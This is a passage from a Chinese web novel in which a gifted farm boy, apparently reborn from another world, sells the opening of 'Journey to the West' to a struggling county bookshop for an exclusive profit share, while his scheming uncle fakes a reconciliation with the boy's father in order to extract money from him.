陆从文挑起了担子,一头是几匹王氏连夜赶工绣出的精美布料,另一头是几条色泽油亮、香气内敛的腊肉。 陆明渊跟在父亲身后,身上背着一个用干净布帛包裹得整整齐齐的方块,那是他昨夜奋笔疾书的成果。 父子二人赶到村头,赶上了去县城的牛车。 江陵县城,远比陆家村要鲜活得多。 当他们穿过斑驳的城门洞,一股混杂着包子香、脂粉气、马粪味以及人声鼎沸的复杂气息便扑面而来。 陆从文找了个街角不碍事的地方,放下担子。 他熟练的促地将布匹和腊肉一一摆开,黝黑的脸上带着庄稼人特有的质朴。 “渊儿,你……你自个儿去书坊逛逛,莫走远了,就在这条街上。爹在这里等你。” 陆从文从怀里掏出几个铜板,塞到陆明渊手里,“渴了就买碗茶喝。” 陆明渊点了点头,没有推辞,只轻声道:“爹,我晓得。” 说完,他便转身汇入了人流。 他没有急着去找书坊,不疾不徐地在街上走着。 很快,他的脚步停在了一个街边的小摊前。 摊主是个瘦小的中年人,正唾沫横飞地叫卖着手里几本薄薄的话本。 围观的百姓大多是些贩夫走卒、或是无所事事的闲汉,他们听得津津有味,不时发出一两声惊叹或哄笑。 “……那女鬼柳眉杏眼,身姿婀娜,对月长叹,只为那痴情书生啊!欲知后事如何,且看下回分解!” “一本只要十文钱,十文钱你买不了吃亏,买不了上当,只能买个荡气回肠!” 话本卖得极快,不过一炷香的功夫,小贩怀里的一摞书便见了底。 陆明渊静静地等到人群散去,才缓步上前。 小贩正美滋滋地数着铜板,见一个衣着干净整洁的半大孩子走过来,便随口问道。 “小哥儿,也想来一本?可惜,卖完了,明儿请早。” “店家,”陆明渊拱了拱手,姿态不卑不亢。 “小子并非来买书,只是好奇,店家这话本,是哪位先生的大作?竟如此引人入胜。” 小贩闻言一愣,抬眼仔细打量了陆明渊一番。 见他气度不凡,不似寻常农家子,便多了几分谈性,嘿嘿笑道。 “你这小娃儿倒是有眼光。这书啊,是城西那位屡试不中的刘秀才写的。” “别看他考场失意,写这些神神鬼鬼的故事可是一绝!咱们江陵县的百姓,就爱听这个!” “什么狐仙报恩,什么河神娶亲,越是离奇,卖得越好!” 陆明渊心中顿时大定。 他最担心的,便是这个世界的娱乐风向与自己所知的历史有所偏差。 如今看来,群众的喜好大同小异,神魔志怪永远是硬通货。 既然女鬼和秀才的故事都能如此火爆。 那他带来的那部集神魔、冒险、成长于一体的煌煌巨著的开篇,又怎会愁销路? 《西游记》,在这个世界,注定要掀起一场风暴。 “那敢问店家,” 陆明渊继续问道。 “这县城里,哪家书坊收话本,收的价钱又最高呢?” 小贩一听这话,警惕地眯起了眼,手上的铜板也收进了钱袋,作势就要收拾摊子。 “这个嘛……同行是冤家,我可不好乱说。” 陆明渊微微一笑,从袖中摸出那一百文钱,不着痕迹地递了过去。 那一百文钱用细绳穿着,沉甸甸的,带着少年人手心的温度。 “店家辛苦,这点钱,不成敬意,权当小子的问路钱。” 小贩掂了掂手里的铜钱,脸上的警惕瞬间化为灿烂的笑容,连连点头。 “哎哟,你这小哥儿,可真是太懂事了!行,看在你这么懂事儿的份上,我老李就跟你说道说道。” 他压低了声音,神神秘秘地凑过来说。 “要说这县里的书坊,以前是林家少爷开的‘翰墨轩’一家独大。” “可最近啊,新来的高县尉家那位高衙内,在翰墨轩对面开了家‘文渊阁’,财大气粗,装潢气派,专跟林家对着干。” “他们家给的稿酬高,印出来的书也漂亮,如今县里有点名气的写手,都把稿子投他们家了。” “你要是有好话本,直接拿去文渊阁,保准能卖个好价钱!” “这林家可是了不得,听说家里有个在江苏省当巡抚的大人!” “只不过咱们这是浙江,强龙压不过地头蛇,终究是高家更胜一筹!” 小贩说完,冲陆明渊挤了挤眼,便挑着空荡荡的担子,哼着小曲儿走了。 文渊阁,高衙内…… 陆明渊站在原地,手指轻轻摩挲着袖中那包裹严实的手稿。 去文渊阁,无疑是条捷径。 稿酬高,风险小,能最快地解决家里的燃眉之急。 但陆明渊想的,却远不止于此。 锦上添花,固然可喜,却难被人记在心上。 雪中送炭,虽利薄一时,却能结下一份善缘,一份人情。 他一个毫无根基的农家子,未来要走科举之路。 金钱固然重要,但人脉与根基,才是能让他走得更远、更稳的基石。 他的故事,自信无论在哪家书坊,都能成为爆款。 不若卖给林家,结个善缘儿! 说不定日后就有用处! 打定了主意,陆明渊不再犹豫,向路人打听了翰墨轩的位置,便径直寻了过去。 与小贩口中那气派的“文渊阁”遥遥相对,翰墨轩显得格外冷清。 门楣上的黑漆都有些剥落,透出木质的底色,门前更是门可罗雀,与街市的喧嚣格格不入。 一阵风过,卷起几片落叶,在门口打着旋儿,更添了几分萧索。 陆明渊深吸一口气,整理了一下自己的衣衫,迈步走上了翰墨轩的台阶。 店堂内光线有些昏暗,高大的书架以名贵的红木打造。 上面雕着繁复而雅致的云纹,只是如今却蒙着一层若有若无的灰尘。 空气中弥漫着书卷与木料的陈旧气息,安静得能听见窗外风吹过街角的呜咽,与对面文渊阁的喧嚣仿若两个世界。 这偌大的铺子里,只有两个人。 柜台后,一个身穿锦缎圆领袍的少年郎,约莫十三四岁的年纪,生得白白胖胖,富态可掬。 此刻正百无聊赖地用手指在账本上画着圈,眉宇间却透着一股与年龄不符的愁绪。 他身边站着个店小二,身形瘦弱,垂头丧气。 陆明渊的脚步声惊动了堂内的沉寂。 那白胖少年郎眼睛一亮,本能地想要起身相迎。 可身子刚动了一下,便像是想起了自己的身份,硬生生止住,转而用手肘轻轻戳了戳身旁的店小二。 店小二像是被抽了一鞭子的瘦马,没精打采地抬起头。 无奈地叹了口气,这才慢吞吞地从柜台后绕了出来,走到陆明渊面前,有气无力地问道。 “这位小哥儿,是买书,还是……” 他顿了顿,似乎觉得后一种可能性微乎其微,但还是按着规矩问了下去,“还是卖书?” “卖书。” 第022章 我要五成利 陆明渊将怀中用布帛包裹的方块取下,双手递了过去。 那布包入手颇有分量,店小二怔了一下,不敢怠慢,连忙接过来,转身呈给了柜台后的少年东家。 那白胖少年郎,正是林家的小少爷林远峰。 他接过书稿,漫不经心地翻了开来。 只是第一眼,他的目光便被那力透纸背的字迹和开篇的标题吸引住了。 《第一回灵根育孕源流出心性修持大道生》 这是什么话本?竟有如此气魄的标题? 林远峰撇了撇嘴,心中却不由自主地往下看去。 他本只想随意扫几眼,找个由头将人打发了便是。 可看着看着,他脸上的散漫便悄然隐去,取而代之的是一丝惊奇,而后是全神贯注。 “……天蓬元帅醉酒戏嫦娥,被贬下凡尘……” “……东海龙宫,神猴索宝,定海神针威震四海……” “……齐天大圣,十万天兵天将亦不能挡,大闹天宫,搅得那凌霄宝殿天翻地覆!” 一个个夺人眼球的桥段,一个个鲜活生动的人物,构建出一个他从未想象过的瑰丽世界。 那石猴的桀骜不驯,那天庭的神威浩荡,那龙宫的奇珍异宝,仿佛一幅幅波澜壮阔的画卷,在他眼前徐徐展开。 林远峰彻底忘了时间,忘了身在何处,整个人都沉浸在了这神魔乱舞的奇妙故事里。 一炷香的功夫悄然而过。 店小二在旁边看得焦急,眼见自家少爷看得如痴如醉,连客人还站着都忘了,只好硬着头皮,伸出手指轻轻戳了戳林远峰的胳膊。 “少爷,少爷?” “啊?”林远峰如梦初醒,猛地抬起头,眼神中还带着几分迷离。 他看了一眼面前站得笔直的陆明渊,这才意识到自己的失态。 他清了清嗓子,将手中的书稿“啪”地一声合上,放在柜面上,脸上恢复了少年东家该有的矜持与审视。 “咳,这个话本嘛……” 林远峰故意拉长了语调,手指在书稿上轻轻敲击着,作出一副点评的姿态。 “想法倒是不错,有些新意。但是嘛,行文还是略显稚嫩,有些地方的描述太过夸张,不合情理。” “比如这猴子,怎能与天庭对抗?纯属无稽之谈。再者,这字里行间,匠气太重,少了些文人风骨。” 他一边说着,一边悄悄观察着陆明渊的反应,准备将价格压到最低。 这套说辞,是他从那些落魄秀才身上学来的,百试不爽。 然而,陆明渊的脸上没有丝毫的失望或急切。 他只是静静地听着,待林远峰说完,他甚至还微微一笑,那笑容里带着一种洞悉一切的从容。 “原来如此。” 陆明渊点了点头,没有争辩一句,而是干脆利落地伸出手。 “既然林少爷觉得拙作不佳,那便请将书稿还我。” “小子再去对街的文渊阁问问。” 说罢,他竟真的转身,作势欲走。 这一手,完全出乎林远峰的意料。 “哎,等等!” 林远峰“噌”地一下从椅子上站了起来,再也顾不得什么东家架子,三两步绕出柜台,一把拦在了陆明渊身前。 他脸上哪里还有方才的倨傲,只剩下毫不掩饰的急切。 开什么玩笑!让这等奇书落到对头高衙内手里? 那他这翰墨轩不如趁早关门算了! “小哥儿,别急,别急嘛!凡事好商量!” 林远峰脸上堆起了热情的笑容,与方才判若两人。 “方才是我说笑的,说笑的!你这书,写得好!写的好极了!” 他生怕陆明渊不信,急忙补充道。 “这话本,我要了!十五两银子,怎么样?这可是咱们县里最高的价了!” “而且,若是卖得好,每本书的利润,我再分你两成!如何?” 这已经是他能给出的最大诚意。 陆明渊停下脚步,转过身,静静地看着他,不说话。 那眼神,清澈而深邃,完全不像一个十岁的乡下少年,看得林远峰心里有些发毛。 半晌,陆明渊缓缓伸出了右手,张开了五根手指。 “二十两银子。” 他的声音不大,却字字清晰,掷地有声。 “另外,不是两成利润,是五成。” 林远峰的眼睛瞬间瞪圆了,失声道。 “五成?你怎么不去抢!” “我的话本,只在你翰墨轩一家卖。” 独家! 这两个字,对于一个商人而言,其分量远胜于那二十两白银。 林远峰的呼吸猛地一滞,那双因为胖而显得有些小的眼睛里,瞬间迸发出一道骇人的精光。 他不是个蠢人,恰恰相反,在算计上,他有着与生俱来的天赋。 垄断。 在这个故事贫瘠的时代,一本足以引爆全城的话本,若是被一家书坊独占,那意味着什么? 意味着源源不断的客流,意味着定价的话语权! 他脑中那本无形的账本飞速翻动着。 三万字,足够印制第一册。 按照县里最普通的纸张和印刷,一本的成本不过三文钱。 售价十文,净利七文。 二十两银子,便是两万文钱,需要卖出近三千本才能回本。 这在往常,是个天文数字,足以让任何书坊望而却步。 可……这是寻常话本吗? 显然不是! 仅仅一个开篇便让他看的目不转睛! 这故事的长度与潜力,浩瀚如烟海! 只要第一册能卖出三百本就够了! 后续的利润便会如滚雪球一般,越来越大。 这笔生意,不是亏不亏的问题,而是能赚多少的问题! “好!” “就依你!二十两银子,五成利!我翰墨轩,独家发售!” 他盯着陆明渊,一字一顿地说道。 “先付定金五两,算是买断这前三万字。” “待你送来后续三万字的稿件,我便将余下的十五两,连同第一册的五成利润,一并与你结算!” “可立字为据?” “那是自然。” 陆明渊微微颔首. 契约是现成的,林远峰做事向来周全。 店小二手忙脚乱地取来笔墨纸砚与印泥。 林远峰提笔如飞,很快就写好了契约合同! 两份一模一样的契文,用词严谨,条款分明。 陆明渊提笔,蘸墨,落款,签字,再到按下鲜红的手印。 林远峰的动作同样迅速,他从柜台深处取出一个沉甸甸的钱袋。 从中数出五块大小不一的银锭,用一杆小巧的戥子仔细称量,不多不少,整整五两。 “五两银子,给你。” 他将那包着碎银的布包推到陆明渊面前。 陆明渊伸出手,接过了那份沉甸甸的重量。 这银子意味着笔墨纸砚不再是奢望,意味着母亲不必再熬夜刺绣,耗损本就憔悴的精力。 这是他来到这个世界后,凭自己的头脑与胆识,赚来的第一桶金。 没有过多的言语,陆明渊将银子揣入怀中。 他对着林远峰再次拱了拱手。 “如此,我便告辞了。七日之后,我会带着后续的三万字再来。” “好!我等你!” 陆明渊转身离去,他没有立刻去找父亲,而是径直朝着城中最大的一家商行“四宝斋”走去。 与翰墨轩的冷清不同,四宝斋内人来人往,伙计们脸上都挂着精明的笑容。 这里的货物琳琅满目,从寻常学子用的松烟墨、毛边纸,到供给大户人家的徽墨、宣纸,应有尽有。 陆明渊的目光扫过那些廉价的货品,没有丝毫停留。 工欲善其事,必先利其器。 他要走的是科举这条独木桥,每一步都要走得比别人更稳。 一副好的笔墨,不仅能让书写更加流畅,更能养出一股堂皇之气,这对于日后的考场至关重要。 “店家,我要一支狼毫笔,两幅徽墨,三刀竹青麻纸,再来一方端砚。” 陆明渊的声音不大,却清晰地传入了忙碌的掌柜耳中。 那掌柜本以为他只是个进来开眼界的穷小子,闻言不由得一愣,抬眼细细打量了他一番。 见他衣着虽朴素却干净,气度沉稳,不似寻常人家,便收起了轻视之心,脸上堆起了笑容。 “小官人好眼力,这些可都是咱们店里性价比最高的物件儿。” “东西共计二两一钱,见小哥是第一次来,这一钱银子就免了” 掌柜的看着陆明渊气质不凡,心下生了交个善缘的心思! 不过是一钱银子而已! 陆明渊点了点头,从怀中摸出二两银子,轻轻放在了柜面上。 掌柜的笑容立刻真诚了许多,亲自将陆明渊引到内堂,取出了他所要的东西。 将笔墨纸砚用油纸细细包好,妥善放入怀中,陆明渊这才转身,向着来时的街角走去。 第023章 财不露白 日头已渐渐升高,街角的阳光驱散了清晨的寒意。 陆从文依旧守着那个小小的摊子,像一尊沉默的雕像。 他黝黑的脸庞上,已经渗出了细密的汗珠,身上的粗布短衫也被汗水浸湿了一片。 担子里的布匹和腊肉,似乎一匹都未卖出。 看到陆明渊回来,他那双布满愁绪的眼睛里才亮起一丝光彩。 连忙用衣袖擦了擦脸上的汗,挤出一个笑容。 “渊儿,回来了?可逛好了?渴不渴,爹给你买碗茶去。” 他说着,便要去摸怀里那几个视若珍宝的铜板。 “爹,我不渴。” 陆明渊摇了摇头,走到父亲面前,将怀里剩下的那只布包取了出来,递了过去。 “这是什么?” 陆从文疑惑地接过来,入手便是一沉,他愣了一下,下意识地打开。 布包展开,三块大小不一的碎银,在阳光下闪烁着刺眼的光芒。 “这……这……”陆从文的手猛地一抖,那银子险些掉在地上。 他像是被烫到了一般,慌忙将布包合上,一把拉住陆明渊,拖到墙角的阴影里,声音都变了调。 “渊儿!你这银子是哪儿来的?” 他的声音里充满了惊恐与不安。 “你……你莫不是做了什么傻事?” 在他质朴的观念里,一个十岁的孩子,绝无可能在短短一个时辰内,凭正当手段赚到三两银子。 这笔钱,足以让他们这样的家庭攒上半年。 看着父亲那张写满惊惶的脸,陆明渊心中微微一酸。 他知道,这是常年被贫穷压弯了腰的人,最本能的反应。 他没有急着解释,只是伸出自己那双还算白净的手,轻轻握住了父亲那双布满老茧和裂口的大手,一字一句,清晰地说道:“爹,你放心。” “这钱,是我用笔杆子,堂堂正正赚回来的。” 陆从文紧紧攥着儿子的手腕。 目光死死地盯着陆明渊那双清澈见底的眸子,企图从中寻找到一丝心虚与闪躲。 然而没有。 那双眼睛里只有平静,一种与他十岁年纪绝不相符的、仿佛看透了世事沧桑的平静。 陆从文的心,被这平静刺得微微一痛,攥着儿子的手也不由自主地松了几分。 他的目光,无意间落在了陆明渊另一只手上提着的油纸包上。 那包裹不大,却透着一股文墨特有的清香。 “那……那你手上这是?” “笔墨纸砚。”陆明渊将东西递了过去。 “工欲善其事,必先利其器。儿子要读书,要科举,买了些笔墨纸砚。” 陆从文下意识地接过,油纸包入手,分量不轻。 他小心翼翼地解开,只见里面整整齐齐地码放着一叠色泽温润的竹青麻纸。 旁边是一支笔杆光滑、毫锋锐利的狼毫笔,还有两方墨锭,质地细腻,隐有幽光。 最底下,是一方小巧却古朴的端砚。 这些东西,他虽不识货,却也看得出,绝非寻常学子所能用得起。 尤其是那方端砚,一看便知价值不菲。 他猛地抬起头,声音里带着一丝颤抖。 “就……就这些东西……得花多少钱?” “二两银子。” 陆明渊答得坦然。 二两银子! 他猛然想到了什么,脸色瞬间变得煞白,一把抓住陆明渊的肩膀。 “是不是你娘……是不是你娘又把她的嫁妆拿去当了?” 这是他最害怕的事情。 妻子王氏出身大户,当年是带着丰厚的嫁妆嫁过来的。 这些年,为了这个家,为了渊儿能识文断字,那些金银首饰、绫罗绸缎,一件件地从箱底消失,换成了柴米油盐和笔墨纸砚。 如今,那只陪嫁的樟木箱,恐怕早已空空如也。 看着父亲眼中那混杂着愧疚、心疼与无力的复杂神色,陆明渊心中一暖,轻轻摇了摇头。 “不是娘。爹,你忘了,儿子会写字,也会讲故事。” 他将怀里剩下的三两碎银再次塞到父亲手里:“我写了些话本,就是街上说书人讲的那种故事。” “城里翰墨轩的林掌柜觉得不错,便给了五两银子作定金,买断了前三万字。” “这二两银子,是我买笔墨纸砚花掉的,剩下这三两,我们正好买些盐巴和肉食回去,给娘和阿泽补补身子。” 话本? 五两银子? 陆从文彻底愣住了,他那被生活磨砺得有些迟钝的脑子,一时间竟有些转不过弯来。 他呆呆地看着自己儿子,这……这怎么可能? 然而,一种荒诞的念头,却又在他心底疯狂滋生,让他觉得这一切似乎又无比合理。 是啊,自己的儿子,本就不是寻常孩子! 渊儿有过目不忘之能,一本《孟子》,旁人要学一年半载,自己的儿子一天就能背下来! 这是何等的天资! 这分明就是天上的文曲星下凡! 既然是文曲星,那写出几篇惊才绝艳的话本,引得书坊老板掷金求购,又有什么奇怪的? 况且,他来县城的路上,也曾听人闲聊,说如今城里的话本生意如何火爆。 一本好的故事,甚至有人愿意出十两、二十两银子去买断。 这么一想,渊儿赚了五两银子,似乎……也不算太过夸张。 想通了这一层,陆从文心中的“惊恐”烟消云散。 取而代之的,是如潮水般涌来的狂喜与自豪! 他小心翼翼地将那三两碎银贴身藏好。 “好……好……好!” 他一连说了三个“好”字,眼眶竟有些微微泛红。 “渊儿,这钱爹先给你收着,一文都不会动。” “等你再大些,要去府学,要去省城,那才是花大钱的地方!这钱,就是你的根基!” 他拍了拍儿子的肩膀,声音压得极低,神情也变得严肃起来。 “买盐巴和肉的事,不用你操心!爹今天这担子货卖了,也能挣些铜板。” “记住,你赚钱的事,除了我,连你奶奶都先别说!” “你年纪还小,骤然得了这笔钱,要是被人知道了,保不齐会生出什么事端来!” 陆明渊点了点头。 他明白父亲的顾虑,财不露白。 尤其是在他们这样毫无根基的家庭,这笔钱足以引来无数觊觎的目光和不必要的麻烦。 父子俩回到摊位,陆从文的心情已是天壤之别。 接下来的生意出奇的顺利。 或许是人逢喜事精神爽,陆从文吆喝起来也格外有力,很快便将担子里的腊肉和布匹尽数卖了出去。 第024章 大哥家今天不对劲! 他仔细地数着那一串串铜钱,一共一千三百文。 他没有丝毫犹豫,拉着陆明渊直奔米粮铺和肉铺。 “老板,十斤盐巴!” “店家,给我来十斤最好的五花肉!” 陆从文的声音洪亮而充满了底气。 三百文钱花出去,换来的是沉甸甸的盐包和一大块肥瘦相间的猪肉。 陆从文一路急匆匆地赶了回家! 推开门,院子里,一个清瘦的身影正在灶台前忙碌。 “回来了?” 王氏抬起头,用围裙擦了擦手,目光先是落在丈夫身上,看到他满脸的喜气,微微一怔。 随即又落在了儿子陆明渊身上,眼神瞬间变得无比温柔。 “渊儿饿了吧,饭就快好了。” 陆从文放下担子,献宝似的将那一大块五花肉和盐包拎了出来,重重地放在石桌上,发出一声闷响。 “当家的,你这是……” 王氏的脸上掠过一丝惊愕,随即转为担忧。 她太了解自己的丈夫了,这般破费,除非是天大的喜事,否则便是遇上了过不去的坎,要散尽家财。 “孩儿他娘,你别怕。” 陆从文咧着嘴笑,脸上的褶子都舒展开了,“是好事,天大的好事!” 他笨拙得不知该如何解释,只是一个劲地催促儿子。 “渊儿,你快跟你娘说,快说!” 陆明渊上前一步,将白天在翰墨轩发生的事情,简明扼要地复述了一遍。 王氏静静地听着,她的手微微颤抖。 目光从儿子缓缓移到那块肥腻的猪肉上,又移到那包沉甸甸的盐巴上。 一滴温热的泪,毫无征兆地从她眼角滑落,滴在陆明渊的手背上。 “好……好孩子……” 王氏的声音哽咽了,她一把将儿子揽入怀中,抱得紧紧的。 这些年的辛酸、委屈、苦楚,在这一刻,尽数化作了滚烫的泪水。 许久,她才松开儿子,用手背拭去泪痕,脸上露出笑容。 她看着陆明渊:“渊儿出息了,娘……娘心里高兴。” 她深吸一口气,郑重地说道:“但这写话本的事,终究是小道。你如今既在赵先生门下求学,便要一心一意,以学业为重。” “圣贤书才是你的正途,科举功名,才是我们陆家真正的指望。” “至于束脩和笔墨的用度,你不用操心。” “有娘在,砸锅卖铁,也断然不会误了你的前程。” 他没有反驳,只是重重地点了点头:“儿子都听娘的。” 这一夜,陆家小院的灶房里,飘出了久违的浓郁肉香。 陆从文亲自掌勺,切了三斤五花肉,炖了一大锅。 香料的气息混着肉的油脂香,霸道地钻进每一个角落,引得邻家的孩子都趴在墙头直流口水。 “去,把你二叔一家和你奶奶都请过来,今晚咱们吃顿好的!” 陆从文心情激荡,大手一挥,对着陆明渊说道。 很快,二叔陆从智便带着妻子赵氏,跟着老太太陈氏一同进了院子。 陆从智一进门,鼻子就使劲嗅了嗅,眼神直勾勾地盯着灶上那口翻滚着肉块的大铁锅,脸上写满了惊疑。 “大哥,你这是……发财了?”他试探着问道。 自己这个大哥,是出了名的“铁公鸡”,一文钱恨不得掰成两半花。 平日里连买块豆腐都要犹豫半天,今天居然舍得炖肉? 还是这么一大锅! 这太阳是打西边出来了? “什么发财不发财的,一家人,难得吃顿好的。”陆从文含糊地应着,脸上是掩不住的得意。 饭菜很快上桌,一大盆红烧肉摆在正中,肉块烧得油光锃亮,色泽红润,旁边还配着几样爽口的素菜。 老太太陈氏看着满桌的饭菜,笑得合不拢嘴:“好,好,从文有心了。” 小明泽哪里见过这等阵仗,一双眼睛瞪得溜圆,抓起一个白面馒头,夹起一块最大的五花肉,便塞进嘴里。 肉炖得软烂,入口即化,烫得他直哈气,却又舍不得吐出来,那副憨态可掬的模样,逗得满桌人都笑了起来。 “慢点吃,没人和你抢。” 陈氏慈爱地拍着小孙子的背,又夹了一块瘦的放进他碗里。 一家人其乐融融,笑语不断。 唯有陆从智,心思却不在饭桌上。 他的目光在众人脸上扫过,不动声色地吃着菜,心里的小算盘却打得噼啪作响。 这肉,这盐,这白面馒头,哪一样不要钱? 尤其是那肉,看成色和分量,没有一二百文绝对下不来。大 哥平日里卖些山货布匹,刨去本钱,能剩下几个子儿? 这笔钱,到底从何而来? 难道……是大嫂又把她那点压箱底的嫁妆给当了? 他瞥了一眼王氏,见她虽面带笑容。 不对劲,很不对劲! 一顿饭在热闹的气氛中结束。 送走了老太太,陆从智拉着妻子赵氏,一回到自己家,便立刻关上了房门。 “你看出来没?大哥家今天不对劲!”陆从智压低了声音。 赵氏撇了撇嘴,一边收拾着东西一边说道:“怎么不对劲了?不就是炖了锅肉吗?显摆什么。” “你懂什么!”陆从智有些急了。 “问题不是肉,是买肉的钱!我问你,你最近有没有瞧见大嫂拿什么东西出去当?” 赵氏闻言,动作一顿,仔细回想了一下,随即肯定地摇了摇头。 “不可能。她那只樟木箱子,我天天盯着呢!要是动了,我第一个知道。” “再说了,真要是当了嫁妆,她还能笑得出来?” “这就对了!” 陆从智一拍大腿。 “嫁妆没动,那钱是哪来的?肯定是大哥在外头发了笔横财,瞒着我们呢!” 赵氏的眼睛也亮了起来,凑了过来:“当家的,你的意思是?” “哼,” 陆从智冷笑一声,“咱们儿子明文,读书也不比他家明渊差。凭什么好处都让他家占了?” “他陆从文是老大,既然发了财,就该拉扯我们这些做弟弟的一把!” 他的手指在桌上有节奏地敲击着,眼中闪过一丝贪婪。 “这几天,你给我盯紧点。看看大哥到底是在哪里发的财。” “等摸清楚了,咱们就去找他。” “以大哥的性子,我稍微用点儿手段,明文的束脩就有着落了!” 第025章 你可知何为举人? 次日天光微亮。 陆从文扛着锄头,像往常一样走在去往自家田地的路上。 陆从智也扛着一把锄头,紧紧跟在后面。 到了田边,陆从文还没来得及喘口气,陆从智便抢先一步下了田,抡起锄头,吭哧吭哧地开始翻地。 那姿态,那力道,竟是前所未有的勤快,仿佛要把昨日吃下去的那顿肉,全都化作力气,还给这片土地。 陆从文站在田埂上,看着弟弟那陌生的背影,心头升起了一股疑惑。 这还是那个平日里能躺着绝不坐着,见了农活就躲得比兔子还快的二弟吗? 他终于忍不住,走到田里,停在陆从智身边,问道:“从智,你这是……怎么了?” “呼——” 陆从智直起腰,用袖子抹了一把额上的汗,脸上竟是挤出一个憨厚又带着几分愧疚的笑容。 他看着陆从文,眼神里透着一种前所未有的真诚。 “大哥,是我想通了。” 陆从文一怔:“想通什么了?” “想通我之前……不是个人!这些年,我光想着让我家明文读书,出人头地。我总觉得,你偏心,爹娘也偏心。” “我心里不忿,就跟你对着干,处处都想压你一头。” 他说着,低下头,看着脚下刚刚翻开的黑土,像是在忏悔。 “可昨天那顿肉,让我彻底醒悟过来了。” “大哥,你但凡手里有点好东西,第一个想到的就是一家人。” “而我呢?我只想着我们那个小家。是我狭隘了,是我糊涂了!” 陆从文愣愣地听着,手里的锄头都忘了放下。 他活了半辈子,从未听过自己这个弟弟说出这般掏心窝子的话。 陆从智抬起头,目光灼灼地看着他,继续说道:“明渊也是我们陆家的种,也是我亲侄儿!他有出息,能读书,那是我们陆家的福气!” “兄弟两个,不论谁将来出息了,不都是光耀我们陆家的门楣吗?这才是天大的好事儿!” 他重重地拍了拍自己的胸膛,发出“砰砰”的声响:“大哥你放心,以后,我再也不跟你置气了。” “我还要让明文多帮衬着明渊,他多读了几年书,理应教教弟弟。” “咱们兄弟俩,齐心协力,把两个孩子都供出来!” “到时候,咱们陆家,在这十里八乡,才算是真正的光耀门楣!” 一番话说得是情真意切,感人肺腑。 陆从文看着眼前这个仿佛脱胎换骨的弟弟,眼眶竟有些发热。 多年的隔阂,那些细碎的争吵和冷眼,在这一刻似乎都烟消云散了。 原来,他还是念着兄弟情分的。 原来,他心里还是有这个家的。 陆从文这个憨厚的庄稼汉,哪里经得住这般阵仗。 他重重地点了点头,声音里带着一丝不易察觉的颤抖:“好……好!你能这么想,就好!” “从智,咱们是亲兄弟,打断骨头还连着筋呢。” “这么多年都过来了,现在日子眼看着要好起来了,就更要往一处使劲!” “嗯!” 陆从智用力点头,眼角似乎还泛着点点泪光,“大哥说的是,往一处使劲!” …… 日头西斜。 陆从智拖着疲惫的身体回到家中,刚一进门,妻子赵氏便端着一盆水迎了上来,脸上却满是毫不掩饰的责备。 “你还真下地干了一天?瞧瞧你这身泥!不知道的,还以为咱们家穷得揭不开锅了呢!” 赵氏的声音尖锐,带着一股子怨气。 “正事不干,不想着怎么给明文凑够去府学的钱,你还有心思去种那几分薄田?我看你是被猪油蒙了心了!” 陆从智却不生气,他小心翼翼地探头朝院外望了望,然后迅速关上了房门。 他压低了声音,对妻子说道:“你懂什么!妇人之见!” “我不懂?我不懂我们家明文的前程就要耽搁在你手里了!” 赵氏气得叉起了腰。 “放心吧,”陆从智凑到她耳边,声音压得更低:“再过几天,我就有把握了。你先别急。” “今天大哥家又吃了肉,虽然只是些肉臊子,但那香味我闻得真真的。” “我今天去地里,就是去探他口风的。” “探出什么了?” 赵氏的眼睛立刻亮了起来,也顾不上生气了。 “哼,” 陆从智冷笑一声,“我那大哥,就是个锯嘴的葫芦,老实得像块木头,可心眼也实诚。” “我今天捧了他几句,说了几句软话,你看他那感动的样子,就差把心掏给我了。” 他端起桌上的凉茶,一饮而尽,喉结滚动。 “这事儿,急不得。得像温水煮青蛙一样,一点一点地来。他现在对我没了防备,这才是第一步。” “我得先弄清楚,他那笔钱,到底是怎么来的。是天上掉的,还是地里长的?等我把根源摸清楚了,还怕他不说实话?” 陆从智的眼神变得阴冷贪婪起来。 “到时候,我只要稍稍点拨他一下,就说咱们明文的前程也是陆家的前程,他那么好面子,又被我今天这番话哄得晕头转向,能不掏钱?” “他要是敢不掏,我就去娘那里闹!就说他发了横财,却不顾亲弟弟的死活!看他那张老脸,往哪儿搁!” 赵氏听得心花怒放,脸上的愁云一扫而空,连连点头:“还是当家的你有办法!” …… 而隔壁院子里,陆从文正就着昏黄的油灯,欣慰地对妻子王氏说着:“从智今天,是真的长大了……” 王氏在一旁缝补着衣裳,闻言也笑了。 “是啊,兄弟哪有隔夜的仇。他心里能有这个家,比什么都强。” …… 这安稳的日子,一晃便是三天。 三天,对于田间的庄稼,不过是多饮了几口晨露,多沐浴了几缕阳光。 村西头的赵夫子家书斋。 陆明渊端坐于书案前,身形挺拔如松。 他正在一字一句地背诵这几天的启蒙读物! 赵夫子手捻长须,闭目聆听。 陆明渊的声音清朗而平稳,不疾不徐,将那晦涩的段落一字不差地背诵出来。 当最后一个字落下,赵夫子缓缓睁开眼,那双浑浊的老眼中,此刻却迸发出一种近乎狂热的光彩。 他定定地看着眼前的少年,仿佛在看一块未经雕琢的绝世美玉。 “天才……当真是天才!” “老夫教书三十载,见过聪颖的,见过勤奋的,却从未见过如你这般过目不忘,且能举一反三的奇才!” 他站起身,在书斋内来回踱步,激动之情溢于言表。 “明渊,你可知何为‘举人’?” 第026章 现在,是时候让他回来了! 陆明渊起身,恭敬道:“学生知晓,乡试中式者,称之为举人,便有了做官的资格。” “好!”赵夫子抚掌大笑。 “以你的天资,若能持之以恒,区区一个举人,不过是你脚下的第一级台阶!未来封侯拜相,亦未可知!” 这番评价,已是极高。 赵夫子停下脚步,神情变得无比严肃,他看着陆明渊,一字一句道:“老夫这一生,所学驳杂,却也自问有几分真才实学。” “从明日起,你便不必像现在这般,背完书就回家了。” “接下来的半个月,日日午后,你都需留在书斋。” “老夫要将毕生所学,倾囊相授!你,可做好了准备?” 陆明渊心中一凛,他能感受到夫子话语中的重量。 他深深一揖,声音坚定:“学生,时刻准备着!” 窗户外,一个假装路过的赵氏将这番话尽数听了进去。 赵氏的身体猛地一僵。 举人? 倾囊相授? 每一个字,都像一根烧红的铁针,狠狠扎在她的心上。 她再也顾不得手中的衣物,一把扔进盆里,转身就往自家院子跑,脚步又急又快,掀起一阵尘土。 “当家的!当家的!出大事了!” 她一头冲进屋里,陆从智正靠在椅子上,闭目养神,盘算着下一步的计划。 被她这么一喊,吓得差点从椅子上摔下来。 “鬼叫什么!天塌下来了?”陆从智不耐烦地斥道。 “比天塌下来还严重!” 赵氏喘着粗气,一把抓住他的胳膊,压低了声音,连珠炮似的说道。 “我刚才都听见了!那赵老头,说咱们那大侄子是天才!以后能中举人,当大官!” 